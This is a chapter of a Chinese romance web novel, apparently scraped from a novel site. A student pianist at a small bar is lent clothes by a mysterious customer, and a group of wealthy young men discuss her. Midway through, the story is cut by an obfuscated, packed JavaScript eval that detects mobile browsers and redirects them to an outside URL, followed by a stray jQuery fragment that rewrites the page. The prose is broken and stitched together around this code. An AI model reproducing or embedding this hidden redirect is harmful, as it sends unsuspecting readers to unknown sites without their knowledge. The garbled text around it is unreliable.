夏末的余热尚未散去,一场突如其来的暴雨让京市提前入了秋。
雨势滂沱,街边树叶被打得七零八落,雨水在路面砸出密密麻麻的水坑,汇聚成一股细流缓缓淌向远处。
傍晚时分,天色一点点暗淡下去,隐匿在偏僻街巷里一间名为“SeekMe”的小酒馆准时亮起了灯。
沉重的玻璃门被人推开,携来一阵轻风,将门口的风铃吹得叮当作响。
程映微一路小跑着进来,一不留神撞到一个人。她的脑门儿正好磕上对方宽阔的肩线,一缕青松淡香钻入鼻腔,清冷深邃,让她不自觉打了个冷噤。
程映微怔了怔,弯腰道了声“抱歉”,还未来得及看清那人样貌,便抱紧怀里的曲谱匆匆跑开了。
男人侧过头,神色晦暗不明,目光跟随她的背影而动,片刻后又轻飘飘地挪开。
来到后台的员工区域,程映微在考勤机上按下了指纹。待屏幕上弹出“打卡成功”的字样,她紧绷的神经终于松懈下来,靠在墙壁上轻舒了口气:“还好,没有迟到……”
一旁传来脚步声。
值班经理吴恙从楼上下来,恰好瞧见这一幕,走到她跟前,拍拍她的肩调侃:“挺会卡点啊小姑娘,再晚几秒可就要扣工资了。”
程映微站直身体,抿唇笑了笑,手中的伞垂下来,雨滴顺着伞尖淌向地面,在木质地板上晕开一圈水渍。
走道很窄,吴恙跻身而过,倏然注意到她的衣裤上沾染了大片污渍,不由得眼皮一颤:“你这是什么情况?怎么浑身脏兮兮的就来上班了?”
一些零碎的画面撞进脑海里。
回忆起十几分钟前发生的事情,程映微抿了抿唇,赧然垂下眼。
程映微在京市财政大学念书,学的是财会专业,九月初刚升了大三。
下午的电算化实操课上,因同组的一名学生在机房录入数据时操作失误,导致小组作业迟迟不能上交,放学时间直接延迟了半个小时。
程映微心急火燎,待实验结束便匆忙往校外赶,搭乘地铁去到几公里外的pub兼职。
从地铁站出来,她撑着雨伞穿梭在人群里,怀里抱着厚厚一沓书籍,导致雨伞有些拿不稳,伞布遮挡了视线,一不留神踩进路边的坑洼。
水滴飞溅而起,白净的鞋面瞬间染上大片污渍,鞋袜湿了个通透,程映微不自觉地皱起眉,心情变得愈发糟糕。
若事情到此为止倒也算了,可偏偏还有更倒霉的事发生。
晚高峰时段,地铁站外人潮涌动,十分拥挤。程映微被人推搡了一下,一个没站稳,手肘直接撞到了一旁的年轻男子。
对方是个美术生,被她这么一撞,背在身侧的颜料盒直接打翻在地,五颜六色的粘稠液体飞溅在她的衣裤和鞋面上,刺鼻的气味霎时间萦绕周身。
程映微傻了眼,心态有些崩溃。
眼看着快要迟到,她不敢耽误时间,向对方道了声“对不起”就要离开。
谁知男生追上来,伸手将她拦住:“你这人什么素质?撞了人就想跑?我颜料都洒光了,你得照价赔偿,不然我可报警了啊!”
男生声音太大,引得沿路行人纷纷朝他们看过来,甚至有人出言指责。
程映微平复了下心情,向他道歉:“真的不好意思,是我跌跌撞撞没看清路。这颜料多少钱?我赔给你。”
男生原本已经做足了吵架扯皮的架势,见她态度诚恳,并不像是不讲道理的人,又瞥见她怀里抱着大学课本,沉默一瞬,摆摆手道:“算了算了,大家都是学生,都不容易,这颜料钱你就折半赔偿给我吧。”
对方并未刻意刁难,程映微总算松了口气,咬咬牙给他转了账。
一百二十八块,能抵上她一天工资了。
钱转过去,她抬起头,想提醒对方确认查收,那男生却已利落地走掉,只留下一道匆匆背影越走越远,渐渐融进夕阳余晖里。
思绪归拢,程映微无奈叹息,今天出门前一定是没看黄历,不然倒霉的事怎会接连在她身上发生?
“事情就是这样,我怕再耽误下去会迟到,就没有停下来清理衣服,先来店里打了上班卡再说。”她向值班经理解释。
吴恙瞥了眼面前的女孩,眉头快要拧成川字。
程映微局促地站在她跟前,衬衣下摆和裤腿都沾染了五颜六色的颜料,极其明显刺目,就这样上班肯定是不行的。
员工形象不达标,连带着她这个监管者也会受到处分,她不能放任不管。
“还愣着干嘛?去找同事借一套干净衣服救救急,然后把头发吹一吹,补补妆,待会儿按时上台。”吴恙皱眉催促。
程映微来到更衣室,正好遇上同事周娴,对方见她一身污渍也是吓了一跳:“妈呀,你这是怎么了?和人打架了?”
“一两句话解释不清。娴姐,你有没有多余的衬衣?能不能先借我救救急?”
“这……我也没有啊。”
话音刚落,外面传来敲门声。
“咚咚”两下后,门被推开一道缝隙,吴恙侧着身进来,将一个手提袋递给她:“这里面是一套干净衣裤,你快换上吧。”
程映微怔愣两秒,眼中闪过一丝光亮,“谢谢恙姐,明天我一定将衣服洗净归还给您!”
吴恙欲言又止,顿了顿才道:“这不是我的衣服,是一位顾客要我转交给你的,说是让你先换上救急,过后再还给他就是了。”
“顾客?”
程映微眼皮跳了跳,脸上晃过一丝莫名。
什么样的顾客会好心到主动借衣服给旁人穿?
吴恙拉开门,下巴朝外头指了指:“就坐在14号桌,等你下了班,自己去和人家道谢吧。”
程映微一头雾水,穿过走廊,探出半个身子往外瞅了瞅,大厅里光线昏暗,且乌泱泱坐满了人,她根本分辨不出吴恙所指何人。
眼下没有时间顾虑许多。
她利索地接过手提袋,打开来,里面是一件白衬衣和一条浅蓝色牛仔裤,与她今天的穿着极为相似。
指尖接触到光滑柔软的丝质面料,程映微嗅到一缕清澈的淡香,似雨后青松的味道,十分好闻。
这气味很熟悉,像是在哪里闻到过。
可她脑子一团乱,实在是记不清了。
-
“Seekme”是一间日咖夜酒的小酒馆,白天主卖咖啡甜点,晚间卖酒水简餐,除此之外还安排了复古钢琴演出和爵士乐队驻唱,为了迎合当代年轻人的审美和爱好也是玩足了花样。
正因如此,小酒馆才积攒了不少人气,每每到了晚上总是生意爆满,引得不少网红名流前来探店打卡。
晚上七点,酒吧一楼已经满座,射灯在吊顶和墙壁上漾出五颜六色的光斑,营造出慵懒松弛的氛围。
室内奏响舒缓的琴声,将一众目光吸引至大厅中央的圆台之上。
头顶灯光亮起时,程映微已经在琴凳上坐好。她在心里数着节拍,适时踩下踏板,指尖轻触琴键,弹响了今晚的第一首曲子。
今日实在仓促狼狈,程映微根本没时间化妆,只换了身衣服,将长发束成马尾便匆匆上了场。
可即便是素面朝天不施粉黛,也难掩她精致深邃的五官和清丽出尘的气质。
再加上她弹琴时的体态极好,脊背挺得笔直,露出漂亮修长的天鹅颈,本就白皙细腻的皮肤在灯光下显得愈发通透。
不需多加修饰,只安静地坐在那里弹琴,便能轻而易举地吸引诸多痴迷流连的目光。
室外细雨未停,晚风微凉。
时针指向八点,一辆深蓝色玛莎拉蒂跑车停在路边。
彭维掐灭了指间的烟蒂,开门下车。
车钥匙扔给一旁的保安,有服务生迎上来,领着他往酒吧里走。
彭维打量着周遭的环境,眉头皱得很深。
从前朋友聚会大都定在京市数一数二的高档会所,也不知今日是怎么了,居然约在一间位置偏僻的小酒吧。
他一路板着脸,直至走到室内,紧绷的表情才稍稍舒展一些。
出乎他的意料,这间酒吧并不似他想象的那般嘈杂,舒缓的琴音听着还挺悦耳。
彭维伸长脖子打量了一圈,一眼望见坐在角落处那个精致儒雅的男人,亦是他今日要找的人——京市大名鼎鼎的廖氏集团总裁廖正峰的独子,廖氏唯一的继承人,廖问今。
也顺带着看清了围坐在他身边的几个熟悉面孔。
都是平日里关系不错的朋友,彭维基本都能叫上名字。
阔步行至卡座前,他清了清喉咙,提声:“哥儿几个都喝上了?”
卡座内大约坐着四五个人。
应淮坐在沙发最外侧,正弯腰洗牌,闻言看了彭维一眼,给他腾了位置,顺手将一杯酒水拍在他面前,欠欠笑道:“老规矩,迟到的人先自罚一杯。”
彭维干脆地拿起酒杯一饮而尽,坐姿有点吊儿郎当:“今儿怎么约在这么偏僻的地方?背街背巷的,真是让我好找。”
这话听起来多少有些抱怨的成分在。
应淮下意识看了眼对面闭眼浅寐的人。
片刻又收回目光,摊摊手,不置一词。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447684|185170||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
彭维也跟着看了过去。
见对方双眼轻阖、眉头微蹙着,与平日里判若两人,他心里越发奇怪,低声问道:“廖总今天这是怎么了?看起来蔫了吧唧的,貌似兴致不高?”
应淮将桌上的骰子拢到一边,代那人回答:“他那是换季感冒引起的头疼鼻塞,喝了药正犯困呢,眯一会儿就好,没什么大事。”
彭维点点头,眼睛盯着杯中的液体,酝酿一番后,终于说出今日来意:“听说哥儿几个准备投资一个国外的科技研发项目?这项目靠不靠谱啊,能不能带我一个?”
提及敏感话题,应淮脑中自动敲响警钟:“我一个学医的,可没兴趣掺和你们这些乱七八糟的事儿啊。”
担忧自己招架不住,应淮随时做好开溜的准备。他起身去卫生间,临走前拍了拍身旁的人,“宋勉,你跟他说。”
“我?”一旁的男人睁大眼睛,摆摆手道,“我最近忙得脚不沾地了都,可没工夫管别人的闲事。这事儿别问我,我不清楚。”
“……”
在座的都是京市有头有脸的富家公子哥,彭维家境固然不差,与他们相比却还是略逊一筹。
他是真心想跟着他们做点投资,拓展些人脉,无奈大家都不接茬,三两句话便将这事搪塞过去,丝毫不给他面子。
彭维觉得自己被孤立了,脸色立马垮了下来,心情很是不爽。
他往后靠了靠,脊背抵在皮质沙发上,杯子递到唇边,一口气闷掉了半杯酒,以此纾解心中郁闷。
下一秒。
不知怎的,台上的琴声忽然卡顿。颤巍巍一记重音后,美妙的旋律戛然而止。
彭维下意识朝那边望去,注意到台上那抹清丽身影。
柔和光线下,女孩深邃动人的五官和小巧精致的面庞全然暴露在他的视线里。
彭维讶异了一瞬,唇角轻微地挑起,目光变得深沉。
那女孩看起来尤其干净,却也清冷,像天边素白的月。
月光虽柔和地照下来,骨子里却带着与生俱来的距离感,拒人于千里之外。
这是程映微给他的第一印象,顺带着勾起了他的好奇心和征服欲。
面对突发失误,程映微并未慌乱,立马站起身朝着台下微微鞠了一躬,道了声“抱歉”。
很快便调整好心态,坐下来继续弹琴。
薄光笼罩下,女孩两鬓的碎发掉下来几缕,柔顺地贴合在耳侧,浓黑的睫毛微耷下来在眼睑处投下一片阴影,纤长的手指如翩翩舞者,灵活地跃动在黑白琴键之上,有种凌乱却又镇定自若的美感和松弛感。
彭维正走着神,忽然听见一声低咳。
坐在他对面的男人动了动,搁在沙发扶手上的臂肘微微舒展开来。
廖问今睁开眼,眉头微蹙,修长的指节抵在眉心揉了揉,药物作用催生出的疲惫和困顿感稍稍褪去,头脑也清明了许多。
许是生病的缘故,他的脸色看起来有些病态的苍白,漆冷深邃的眸子天生带着距离感,直接越过彭维往台上望去。
视线落在女孩身上,他明明面色平淡,眼中却好似盛着几分担忧。
“哥,你醒了。”彭维立马凑过去,讨好似的递给他一杯酒,“来一杯醒醒神?”
廖问今垂下眼,视线刚触及到那杯酒水,下一秒就被人挡了回去。
应淮忙按下酒杯,对彭维说:“他半小时前刚喝了抗菌药的,可不能再喝酒了。”
“头孢配酒说走就走,这常识你不懂?”
“哎呦,我给忘了,对不住啊廖总。”彭维伸出的手顿了顿,用力拍了下脑门儿,立马将酒杯揽向自己,尴尬陪笑,“我的错,我自罚一杯!”
“无妨。”廖问今向后靠了靠,手肘搭在沙发靠背上,姿态慵懒。墨玉般深沉的眸子直直望向他,唇边噙着一抹淡笑,“平日里倒是难得见你一面,今天怎么不请自来了?”
“嗐,我就闲着没事,瞎凑热闹。”彭维打着哈哈,不再提起刚才的事徒增尴尬。
耳边是舒缓的琴声。
眼睛扫过台上那抹清瘦身影,彭维脑中晃过一丝念头,挑挑眉,饶有趣味地问道:“廖总您看,十点钟方向那个弹钢琴的姑娘怎么样?”
廖问今正单手拢着火机点烟,微弱的火光在指间忽明忽暗,一半光影投在他的侧脸,另一半则隐于黑暗之中。
闻言,他手上动作顿了顿,纤薄的眼皮缓缓掀起,再次望向台上的人。
眼中并无波澜。
须臾便收回了目光,冷声道:
“不怎么样,没兴趣。”